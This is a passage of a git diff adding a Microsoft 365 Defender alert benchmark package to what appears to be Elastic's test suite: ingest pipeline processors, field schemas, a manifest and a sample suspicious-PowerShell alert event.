allow_duplicates: false + - foreach: + field: process.parent.pid + tag: foreach_process_parent_pid + if: ctx.process?.parent?.pid instanceof List + processor: + append: + field: process.parent.entity_id + tag: append_process_parent_pid_to_entity_id + value: '{{{_ingest._value}}}' + allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_remove_fields + if: ctx.json?.evidence instanceof List + processor: + remove: + field: + - _ingest._value.createdDateTime + - _ingest._value.receivedDateTime + - _ingest._value.attachmentsCount + - _ingest._value.firstSeenDateTime + - _ingest._value.parentProcessCreationDateTime + - _ingest._value.processCreationDateTime + - _ingest._value.senderIp + - _ingest._value.urlCount + - _ingest._value.instanceId + - _ingest._value.appId + - _ingest._value.saasAppId + - _ingest._value.osBuild + - _ingest._value.rbacGroupId + - _ingest._value.fileDetails.fileSize + - _ingest._value.ipAddress + - _ingest._value.emailCount + - _ingest._value.parentProcessId + - _ingest._value.processId + - _ingest._value.imageFile.fileSize + - _ingest._value.parentProcessImageFile.fileSize + - _ingest._value.internetMessageId + - _ingest._value.networkMessageId + ignore_missing: true + - rename: + field: json.evidence + tag: rename_evidence + target_field: m365_defender.alert.evidence + ignore_missing: true + - remove: + if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields')) + tag: remove_ecs_duplicate_fields + field: + - m365_defender.alert.last_update_datetime + - m365_defender.alert.description + - m365_defender.alert.created_datetime + - m365_defender.alert.last_activity_datetime + - m365_defender.alert.id + - m365_defender.alert.service_source + - m365_defender.alert.first_activity_datetime + - m365_defender.alert.web_url + - m365_defender.alert.assigned_to + - m365_defender.alert.category + - m365_defender.alert.mitre_techniques + - m365_defender.alert.tenant_id + ignore_missing: true + - foreach: + field: m365_defender.alert.evidence + tag: remove_foreach_ecs_duplicate_fields + if: ctx.m365_defender?.alert?.evidence instanceof List && (ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields'))) + processor: + remove: + field: + - _ingest._value.ip_address + - _ingest._value.detection_status + - _ingest._value.received_datetime + - _ingest._value.antispam_direction + - _ingest._value.subject + - _ingest._value.recipient_email_address + - _ingest._value.instance_id + - _ingest._value.instance_name + - _ingest._value.vm_metadata.cloud_provider + - _ingest._value.os_platform + - _ingest._value.version + - _ingest._value.file_details.sha1 + - _ingest._value.file_details.sha256 + - _ingest._value.file_details.name + - _ingest._value.file_details.path + - _ingest._value.file_details.size + - _ingest._value.process.command_line + - _ingest._value.image_file.sha1 + - _ingest._value.image_file.sha256 + - _ingest._value.parent_process.image_file.sha1 + - _ingest._value.parent_process.image_file.sha256 + - _ingest._value.parent_process.id + - _ingest._value.parent_process.creation_datetime + - _ingest._value.process.id + - _ingest._value.process.creation_datetime + - _ingest._value.registry_value_type + - _ingest._value.registry_hive + - _ingest._value.registry_key + - _ingest._value.registry_value + - _ingest._value.security_group_id + ignore_missing: true + - script: + lang: painless + tag: set_process_name_from_command_line + description: Set process.name from process.command_line. + if: ctx.process?.name == null + source: | + ctx.process = ctx.process ?: [:]; + ctx.process.name = ctx.process.name ?: []; + // Normalize process.name to a list + def nameList = []; + if (ctx.process.name != null) { + if (ctx.process.name instanceof String) { + nameList.add(ctx.process.name); + } else if (ctx.process.name instanceof List) { + nameList.addAll(ctx.process.name); + } + } + + // Deduplication using HashSet + def currentNames = new HashSet(); + currentNames.addAll(nameList); + // Handle process.command_line (string or list) + if (ctx.process.command_line != null) { + // Convert string to list for unified handling + def cmdList = []; + if (ctx.process.command_line instanceof String) { + cmdList.add(ctx.process.command_line); + } else if (ctx.process.command_line instanceof List) { + cmdList.addAll(ctx.process.command_line); + } + for (cmd in cmdList) { + if (cmd != null && cmd.length() > 0) { + // Extract the first token + def parts = cmd.trim().splitOnToken(" "); + if (parts.length > 0) { + def executable = parts[0]; + // If executable is a path, take only the last part + if (executable.contains("/")) { + def slashParts = executable.splitOnToken("/"); + executable = slashParts[slashParts.length - 1]; + } + executable = /\"/.matcher(executable).replaceAll(""); + currentNames.add(executable); + } + } + } + } + // Update process.name with unique list + if (currentNames != null && currentNames.size() == 1) { + ctx.process.name = currentNames.iterator().next(); + } else { + ctx.process.name = new ArrayList(currentNames); + } + on_failure: + - append: + tag: append_error_message_2b136ec5 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - remove: + field: json + tag: remove_json + ignore_missing: true + - script: + tag: script_to_drop_null_values + lang: painless + source: |- + boolean drop(Object object) { + if (object == null || object == '') { + return true; + } else if (object instanceof Map) { + ((Map) object).values().removeIf(v -> drop(v)); + return (((Map) object).size() == 0); + } else if (object instanceof List) { + ((List) object).removeIf(v -> drop(v)); + return (((List) object).length == 0); + } + return false; + } + drop(ctx); + description: Drops null/empty values recursively. + on_failure: + - append: + tag: append_error_message_0886867f + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + tag: append_event_kind_d2f25e35 + field: event.kind + value: pipeline_error + allow_duplicates: false + if: ctx.error?.message != null + - append: + tag: append_tags_9fe66b2c + field: tags + value: preserve_original_event + allow_duplicates: false + if: ctx.error?.message != null +on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml similarity index 89% rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml index 362c84bcef..bbcb02bdd7 100644 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml +++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml @@ -10,11 +10,11 @@ - name: event.module type: constant_keyword description: Event module. - value: multi_deployer + value: m365_defender - name: event.dataset type: constant_keyword description: Event dataset. - value: multi_deployer.httpjson + value: m365_defender.alert - name: '@timestamp' type: date description: Event timestamp. diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml new file mode 100644 index 0000000000..4084f1dc7f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml @@ -0,0 +1,6 @@ +- name: input.type + type: keyword + description: Type of filebeat input. +- name: log.offset + type: long + description: Log offset. diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml new file mode 100644 index 0000000000..071b21fc9c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml @@ -0,0 +1,506 @@ +- name: m365_defender.alert + type: group + fields: + - name: actor_display_name + type: keyword + description: The adversary or activity group that is associated with this alert. + - name: assigned_to + type: keyword + description: Owner of the alert, or null if no owner is assigned. + - name: category + type: keyword + description: The attack kill-chain category that the alert belongs to. Aligned with the MITRE ATT&CK framework. + - name: classification + type: keyword + description: 'Specifies whether the alert represents a true threat. Possible values are: unknown, falsePositive, truePositive, benignPositive, unknownFutureValue.' + - name: comments + type: flattened + description: Array of comments created by the Security Operations (SecOps) team during the alert management process. + - name: created_datetime + type: date + description: Time when Microsoft 365 Defender created the alert. + - name: description + type: keyword + description: String value describing each alert. + - name: detection_source + type: keyword + description: Detection technology or sensor that identified the notable component or activity. + - name: detector_id + type: keyword + description: The ID of the detector that triggered the alert. + - name: determination + type: keyword + description: 'Specifies the result of the investigation, whether the alert represents a true attack and if so, the nature of the attack. Possible values are: unknown, apt, malware, securityPersonnel, securityTesting, unwantedSoftware, other, multiStagedAttack, compromisedUser, phishing, maliciousUserActivity, clean, insufficientData, confirmedUserActivity, lineOfBusinessApplication, unknownFutureValue.' + - name: evidence + type: group + fields: + - name: antispam_direction + type: keyword + description: 'Direction of the email relative to your network. The possible values are: Inbound, Outbound or Intraorg.' + - name: app_id + type: keyword + description: Unique identifier of the application. + - name: attachments_count + type: long + description: Number of attachments in the email. + - name: azure_ad_device_id + type: keyword + description: A unique identifier assigned to a device by Azure Active Directory (Azure AD) when device is Azure AD-joined. + - name: cluster_by + type: keyword + description: The clustering logic of the emails inside the cluster. + - name: cluster_by_value + type: keyword + description: The value utilized to cluster the similar emails. + - name: created_datetime + type: date + description: The time the evidence was created and added to the alert. + - name: defender_av_status + type: keyword + description: 'State of the Defender AntiMalware engine. The possible values are: notReporting, disabled, notUpdated, updated, unknown, notSupported, unknownFutureValue.' + - name: delivery_action + type: keyword + description: 'Delivery action of the email. The possible values are: Delivered, DeliveredAsSpam, Junked, Blocked, or Replaced.' + - name: delivery_location + type: keyword + description: 'Location where the email was delivered. The possible values are: Inbox, External, JunkFolder, Quarantine, Failed, Dropped, DeletedFolder or Forwarded.' + - name: detailed_roles + type: keyword + description: Detailed roles of the user associated with the event. + - name: detection_status + type: keyword + description: 'The status of the detection.The possible values are: detected, blocked, prevented, unknownFutureValue.' + - name: device_dns_name + type: keyword + description: The fully qualified domain name (FQDN) for the device. + - name: display_name + type: keyword + description: Name of the application. + - name: email_count + type: long + description: Count of emails in the email cluster. + - name: file_details + type: group + fields: + - name: issuer + type: keyword + description: The certificate authority (CA) that issued the certificate. + - name: name + type: keyword + description: The name of the file. + - name: odata_type + type: keyword + - name: path + type: keyword + description: The file path (location) of the file instance. + - name: publisher + type: keyword + description: The publisher of the file. + - name: sha1 + type: keyword + description: The Sha1 cryptographic hash of the file content. + - name: sha256 + type: keyword + description: The Sha256 cryptographic hash of the file content. + - name: signer + type: keyword + description: The signer of the signed file. + - name: size + type: long + description: The size of the file in bytes. + - name: first_seen_datetime + type: date + description: The date and time when the device was first seen. + - name: health_status + type: keyword + description: 'The health state of the device.The possible values are: active, inactive, impairedCommunication, noSensorData, noSensorDataImpairedCommunication, unknown, unknownFutureValue.' + - name: image_file + type: group + fields: + - name: issuer + type: keyword + description: The certificate authority (CA) that issued the certificate. + - name: name + type: keyword + description: The name of the file. + - name: odata_type + type: keyword + - name: path + type: keyword + description: The file path (location) of the file instance. + - name: publisher + type: keyword + description: The publisher of the file. + - name: sha1 + type: keyword + description: The Sha1 cryptographic hash of the file content. + - name: sha256 + type: keyword + description: The Sha256 cryptographic hash of the file content. + - name: signer + type: keyword + description: The signer of the signed file. + - name: size + type: long + description: The size of the file in bytes. + - name: instance_id + type: keyword + description: Identifier of the instance of the Software as a Service (SaaS) application. + - name: instance_name + type: keyword + description: Name of the instance of the SaaS application. + - name: internet_message_id + type: keyword + description: Public-facing identifier for the email that is set by the sending email system. + - name: ip_address + type: ip + description: The value of the IP Address, can be either in V4 address or V6 address format. + - name: ip_interfaces + type: ip + description: IP Interfaces related to the event. + - name: language + type: keyword + description: Detected language of the email content. + - name: logged_on_users + type: group + fields: + - name: account_name + type: keyword + description: User account name of the logged-on user. + - name: domain_name + type: keyword + description: User account domain of the logged-on user. + - name: odata_type + type: keyword + - name: mde_device_id + type: keyword + description: A unique identifier assigned to a device by Microsoft Defender for Endpoint. + - name: network_message_id + type: keyword + description: Unique identifier for the email, generated by Microsoft 365. + - name: network_message_ids + type: keyword + description: Unique identifiers for the emails in the cluster, generated by Microsoft 365. + - name: object_id + type: keyword + description: The unique identifier of the application object in Azure AD. + - name: odata_type + type: keyword + - name: onboarding_status + type: keyword + description: 'The status of the machine onboarding to Microsoft Defender for Endpoint.The possible values are: insufficientInfo, onboarded, canBeOnboarded, unsupported, unknownFutureValue.' + - name: os_build + type: keyword + description: The build version for the operating system the device is running. + - name: os_platform + type: keyword + description: The operating system platform the device is running. + - name: p1_sender + type: group + fields: + - name: display_name + type: keyword + description: The name of the sender. + - name: domain_name + type: keyword + description: Sender domain. + - name: email_address + type: keyword + description: Sender email address. + - name: odata_type + type: keyword + - name: p2_sender + type: group + fields: + - name: display_name + type: keyword + description: The name of the sender. + - name: domain_name + type: keyword + description: Sender domain. + - name: email_address + type: keyword + description: Sender email address. + - name: odata_type + type: keyword + - name: parent_process + type: group + fields: + - name: creation_datetime + type: date + description: Date and time when the parent of the process was created. + - name: id + type: long + description: Process ID (PID) of the parent process that spawned the process. + - name: image_file + type: group + fields: + - name: issuer + type: keyword + description: The certificate authority (CA) that issued the certificate. + - name: name + type: keyword + description: The name of the file. + - name: odata_type + type: keyword + - name: path + type: keyword + description: The file path (location) of the file instance. + - name: publisher + type: keyword + description: The publisher of the file. + - name: sha1 + type: keyword + description: The Sha1 cryptographic hash of the file content. + - name: sha256 + type: keyword + description: The Sha256 cryptographic hash of the file content. + - name: signer + type: keyword + description: The signer of the signed file. + - name: size + type: long + description: The size of the file in bytes. + - name: primary_address + type: keyword + description: The primary email address of the mailbox. + - name: process + type: group + fields: + - name: command_line + type: keyword + description: Command line used to create the new process. + - name: creation_datetime + type: date + description: Date and time the process was created. + - name: id + type: long + description: Process ID (PID) of the newly created process. + - name: publisher + type: keyword + description: The name of the application publisher. + - name: query + type: keyword + description: The query used to identify the email cluster. + - name: rbac_group + type: group + fields: + - name: id + type: keyword + description: The ID of the role-based access control (RBAC) device group. + - name: name + type: keyword + description: The name of the RBAC device group. + - name: received_datetime + type: date + description: Date and time when the email was received. + - name: recipient_email_address + type: keyword + description: Email address of the recipient, or email address of the recipient after distribution list expansion. + - name: registry_hive + type: keyword + description: Registry hive of the key that the recorded action was applied to. + - name: registry_key + type: keyword + description: Registry key that the recorded action was applied to. + - name: registry_value + type: keyword + description: Data of the registry value that the recorded action was applied to. + - name: registry_value_name + type: keyword + description: Name of the registry value that the recorded action was applied to. + - name: registry_value_type + type: keyword + description: Data type, such as binary or string, of the registry value that the recorded action was applied to. + - name: remediation_status + type: keyword + description: 'Status of the remediation action taken. The possible values are: none, remediated, prevented, blocked, notFound, active, pendingApproval, declined, notRemediated, running, unknownFutureValue.' + - name: remediation_status_details + type: keyword + description: Details about the remediation status. + - name: risk_score + type: keyword + description: 'Risk score as evaluated by Microsoft Defender for Endpoint. The possible values are: none, informational, low, medium, high, unknownFutureValue.' + - name: roles + type: keyword + description: The role/s that an evidence entity represents in an alert, e.g., an IP address that is associated with an attacker will have the evidence role "Attacker". + - name: saas_app_id + type: keyword + description: The identifier of the SaaS application. + - name: security_group_id + type: keyword + description: Unique identifier of the security group. + - name: sender_ip + type: ip + description: IP address of the last detected mail server that relayed the message. + - name: subject + type: keyword + description: Subject of the email. + - name: tags + type: keyword + description: Array of custom tags associated with an evidence instance, for example to denote a group of devices, high value assets, etc. + - name: threat_detection_methods + type: keyword + description: Collection of methods used to detect malware, phishing, or other threats found in the email. + - name: threats + type: keyword + description: Collection of detection names for malware or other threats found. + - name: type + type: keyword + - name: url + type: keyword + description: The Unique Resource Locator (URL). + - name: url_count + type: long + description: Number of embedded URLs in the email. + - name: urls + type: keyword + description: Collection of the URLs contained in this email. + - name: urn + type: keyword + description: Uniform resource name (URN) of the automated investigation where the cluster was identified. + - name: user_account + type: group + fields: + - name: account_name + type: keyword + description: The user account's displayed name. + - name: azure_ad_user_id + type: keyword + description: The user object identifier in Azure AD. + - name: domain_name + type: keyword + description: The name of the Active Directory domain of which the user is a member. + - name: odata_type + type: keyword + - name: user_principal_name + type: keyword + description: The user principal name of the account in Azure AD. + - name: user_sid + type: keyword + description: The local security identifier of the user account. + - name: verdict + type: keyword + description: 'The decision reached by automated investigation. The possible values are: unknown, suspicious, malicious, noThreatsFound, unknownFutureValue.' + - name: version + type: keyword + description: The version of the operating system platform. + - name: vm_metadata + type: group + fields: + - name: cloud_provider + type: keyword + description: 'The cloud provider hosting the virtual machine. The possible values are: unknown, azure, unknownFutureValue.' + - name: odata_type + type: keyword + - name: resource_id + type: keyword + description: Unique identifier of the Azure resource. + - name: subscription_id + type: keyword + description: Unique identifier of the Azure subscription the customer tenant belongs to. + - name: vm_id + type: keyword + description: Unique identifier of the virtual machine instance. + - name: first_activity_datetime + type: date + description: The earliest activity associated with the alert. + - name: id + type: keyword + description: Unique identifier to represent the alert resource. + - name: incident_id + type: keyword + description: Unique identifier to represent the incident this alert resource is associated with. + - name: incident_web_url + type: group + description: URL for the incident page in the Microsoft 365 Defender portal. + fields: + - name: domain + type: keyword + - name: extension + type: keyword + - name: fragment + type: keyword + - name: full + type: keyword + - name: original + type: keyword + - name: password + type: keyword + - name: path + type: keyword + - name: port + type: long + - name: query + type: keyword + - name: scheme + type: keyword + - name: username + type: keyword + - name: last_activity_datetime + type: date + description: The oldest activity associated with the alert. + - name: last_update_datetime + type: date + description: Time when the alert was last updated at Microsoft 365 Defender. + - name: mitre_techniques + type: keyword + description: The attack techniques, as aligned with the MITRE ATT&CK framework. + - name: odata_type + type: keyword + - name: provider_alert_id + type: keyword + description: The ID of the alert as it appears in the security provider product that generated the alert. + - name: recommended_actions + type: keyword + description: Recommended response and remediation actions to take in the event this alert was generated. + - name: resolved_datetime + type: date + description: Time when the alert was resolved. + - name: service_source + type: keyword + description: 'The service or product that created this alert. Possible values are: microsoftDefenderForEndpoint, microsoftDefenderForIdentity, microsoftCloudAppSecurity, microsoftDefenderForOffice365, microsoft365Defender, aadIdentityProtection, appGovernance, dataLossPrevention.' + - name: severity + type: keyword + description: 'Indicates the possible impact on assets. The higher the severity the bigger the impact. Typically higher severity items require the most immediate attention. Possible values are: unknown, informational, low, medium, high, unknownFutureValue.' + - name: status + type: keyword + description: 'The status of the alert. Possible values are: new, inProgress, resolved, unknownFutureValue.' + - name: tenant_id + type: keyword + description: The Azure Active Directory tenant the alert was created in. + - name: threat_display_name + type: keyword + description: The threat associated with this alert. + - name: threat_family_name + type: keyword + description: Threat family associated with this alert. + - name: title + type: keyword + description: Brief identifying string value describing the alert. + - name: web_url + type: group + description: URL for the alert page in the Microsoft 365 Defender portal. + fields: + - name: domain + type: keyword + - name: extension + type: keyword + - name: fragment + type: keyword + - name: full + type: keyword + - name: original + type: keyword + - name: password + type: keyword + - name: path + type: keyword + - name: port + type: long + - name: query + type: keyword + - name: scheme + type: keyword + - name: username + type: keyword diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml new file mode 100644 index 0000000000..d96bbb959a --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml @@ -0,0 +1,89 @@ +title: Collect Alert logs from Microsoft Defender XDR +type: logs +streams: + - input: httpjson + title: Alerts + description: Collect Alerts from Microsoft Defender XDR. + enabled: false + template_path: httpjson.yml.hbs + vars: + - name: request_url + type: text + title: Request URL + description: URL of API endpoint. + default: https://graph.microsoft.com + multi: false + required: true + show_user: false + - name: initial_interval + type: text + title: Initial Interval + description: How far back to pull the alerts from Microsoft Defender XDR. Supported units for this parameter are h/m/s. + multi: false + required: true + show_user: true + default: 24h + - name: interval + type: text + title: Interval + description: Duration between requests to the Microsoft Security Graph API V2. Supported units for this parameter are h/m/s. + default: 5m + multi: false + required: true + show_user: true + - name: batch_size + type: integer + title: Batch Size + description: Batch size for the response of the Alert Security Graph API V2. The maximum supported batch size value is 2000. + default: 2000 + multi: false + required: true + show_user: false + - name: http_client_timeout + type: text + title: HTTP Client Timeout + description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h. + multi: false + required: true + show_user: false + default: 30s + - name: tags + type: text + title: Tags + description: Tags for the data-stream. + multi: true + required: true + show_user: false + default: + - forwarded + - m365_defender-alert + - name: preserve_original_event + required: true + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original`. + type: bool + multi: false + default: false + - name: preserve_duplicate_custom_fields + required: true + show_user: false + title: Preserve duplicate custom fields + description: Preserve m365_defender.alert fields that were copied to Elastic Common Schema (ECS) fields. + type: bool + multi: false + default: false + - name: include_unknown_enum_members + show_user: false + title: Include unknown enum members + description: Return unknown members for properties of evolvable enum types. + type: bool + multi: false + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: >- + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json new file mode 100644 index 0000000000..9b479ee170 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json @@ -0,0 +1,193 @@ +{ + "@timestamp": "2023-10-20T09:54:07.503Z", + "agent": { + "ephemeral_id": "f0b1ddcf-5c43-49cb-be37-acefdf4372d0", + "id": "d6e963cc-04ee-46b8-af02-520891431883", + "name": "elastic-agent-85133", + "type": "filebeat", + "version": "8.19.4" + }, + "cloud": { + "account": { + "id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39" + } + }, + "data_stream": { + "dataset": "m365_defender.alert", + "namespace": "57227", + "type": "logs" + }, + "device": { + "id": [ + "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14" + ] + }, + "ecs": { + "version": "8.11.0" + }, + "elastic_agent": { + "id": "d6e963cc-04ee-46b8-af02-520891431883", + "snapshot": false, + "version": "8.19.4" + }, + "event": { + "agent_id_status": "verified", + "category": [ + "host" + ], + "created": "2023-10-20T09:53:09.883Z", + "dataset": "m365_defender.alert", + "duration": 2478000000, + "end": "2023-10-20T09:51:41.993Z", + "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_1", + "ingested": "2026-01-05T12:04:28Z", + "kind": "alert", + "original": "{\"actorDisplayName\":null,\"additionalData\":null,\"alertPolicyId\":null,\"alertWebUrl\":\"https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"assignedTo\":null,\"category\":\"Execution\",\"classification\":null,\"comments\":[],\"createdDateTime\":\"2023-10-20T09:53:09.8839373Z\",\"description\":\"A suspicious PowerShell activity was observed on the machine. \\nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.\",\"detectionSource\":\"microsoftDefenderForEndpoint\",\"detectorId\":\"7f1c3609-a3ff-40e2-995b-c01770161d68\",\"determination\":null,\"evidence\":[{\"@odata.type\":\"#microsoft.graph.security.deviceEvidence\",\"azureAdDeviceId\":\"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14\",\"createdDateTime\":\"2023-10-20T09:53:10.1933333Z\",\"defenderAvStatus\":\"notSupported\",\"detailedRoles\":[\"PrimaryDevice\"],\"deviceDnsName\":\"clw555test\",\"firstSeenDateTime\":\"2023-10-20T09:50:17.7383987Z\",\"healthStatus\":\"inactive\",\"ipInterfaces\":[\"192.168.5.65\",\"fe80::cfe4:80b:615c:38fb\",\"127.0.0.1\",\"::1\"],\"loggedOnUsers\":[{\"accountName\":\"CDPUserIS-38411\",\"domainName\":\"AzureAD\"}],\"mdeDeviceId\":\"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843\",\"onboardingStatus\":\"onboarded\",\"osBuild\":22621,\"osPlatform\":\"Windows11\",\"rbacGroupId\":0,\"rbacGroupName\":null,\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"riskScore\":\"high\",\"roles\":[],\"tags\":[],\"verdict\":\"unknown\",\"version\":\"22H2\",\"vmMetadata\":null}],\"firstActivityDateTime\":\"2023-10-20T09:51:39.5154802Z\",\"id\":\"daefa1828b-dd4e-405c-8a3b-aa28596830dd_1\",\"incidentId\":\"23\",\"incidentWebUrl\":\"https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"lastActivityDateTime\":\"2023-10-20T09:51:41.9939003Z\",\"lastUpdateDateTime\":\"2023-10-20T09:54:07.5033333Z\",\"mitreTechniques\":[\"T1059.001\"],\"productName\":\"Microsoft Defender for Endpoint\",\"providerAlertId\":\"efa1828b-dd4e-405c-8a3b-aa28596830dd_1\",\"recommendedActions\":\"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\\n2. Search the script for more indicators to investigate - for example IP addresses (potential C\\u0026C servers), target computers etc.\\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.\",\"resolvedDateTime\":null,\"serviceSource\":\"microsoftDefenderForEndpoint\",\"severity\":\"medium\",\"status\":\"new\",\"tenantId\":\"3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"threatDisplayName\":null,\"threatFamilyName\":null,\"title\":\"Suspicious PowerShell command line\"}", + "provider": "microsoftDefenderForEndpoint", + "severity": 47, + "start": "2023-10-20T09:51:39.515Z", + "type": [ + "info" + ], + "url": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39" + }, + "host": { + "hostname": [ + "clw555test" + ], + "id": [ + "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843" + ], + "ip": [ + "192.168.5.65", + "fe80::cfe4:80b:615c:38fb", + "127.0.0.1", + "::1" + ], + "os": { + "name": [ + "Windows11" + ], + "version": [ + "22H2" + ] + } + }, + "input": { + "type": "httpjson" + }, + "m365_defender": { + "alert": { + "category": "Execution", + "created_datetime": "2023-10-20T09:53:09.883Z", + "description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.", + "detection_source": "microsoftDefenderForEndpoint", + "detector_id": "7f1c3609-a3ff-40e2-995b-c01770161d68", + "evidence": [ + { + "azure_ad_device_id": "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14", + "created_datetime": "2023-10-20T09:53:10.193Z", + "defender_av_status": "notSupported", + "detailed_roles": [ + "PrimaryDevice" + ], + "device_dns_name": "clw555test", + "first_seen_datetime": "2023-10-20T09:50:17.738Z", + "health_status": "inactive", + "ip_interfaces": [ + "192.168.5.65", + "fe80::cfe4:80b:615c:38fb", + "127.0.0.1", + "::1" + ], + "logged_on_users": [ + { + "account_name": "CDPUserIS-38411", + "domain_name": "AzureAD" + } + ], + "mde_device_id": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", + "odata_type": "#microsoft.graph.security.deviceEvidence", + "onboarding_status": "onboarded", + "os_build": "22621", + "os_platform": "Windows11", + "rbac_group": { + "id": "0" + }, + "remediation_status": "none", + "risk_score": "high", + "verdict": "unknown", + "version": "22H2" + } + ], + "first_activity_datetime": "2023-10-20T09:51:39.515Z", + "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_1", + "incident_id": "23", + "incident_web_url": { + "domain": "security.microsoft.com", + "original": "https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", + "path": "/incidents/23", + "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", + "scheme": "https" + }, + "last_activity_datetime": "2023-10-20T09:51:41.993Z", + "last_update_datetime": "2023-10-20T09:54:07.503Z", + "mitre_techniques": [ + "T1059.001" + ], + "provider_alert_id": "efa1828b-dd4e-405c-8a3b-aa28596830dd_1", + "recommended_actions": "1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.", + "service_source": "microsoftDefenderForEndpoint", + "severity": "medium", + "status": "new", + "tenant_id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39", + "title": "Suspicious PowerShell command line", + "web_url": { + "domain": "security.microsoft.com", + "original": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", + "path": "/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1", + "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", + "scheme": "https" + } + } + }, + "message": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.", + "related": { + "hosts": [ + "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", + "Windows11", + "22H2", + "clw555test", + "AzureAD" + ], + "ip": [ + "192.168.5.65", + "fe80::cfe4:80b:615c:38fb", + "127.0.0.1", + "::1" + ], + "user": [ + "CDPUserIS-38411" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "forwarded", + "m365_defender-alert" + ], + "threat": { + 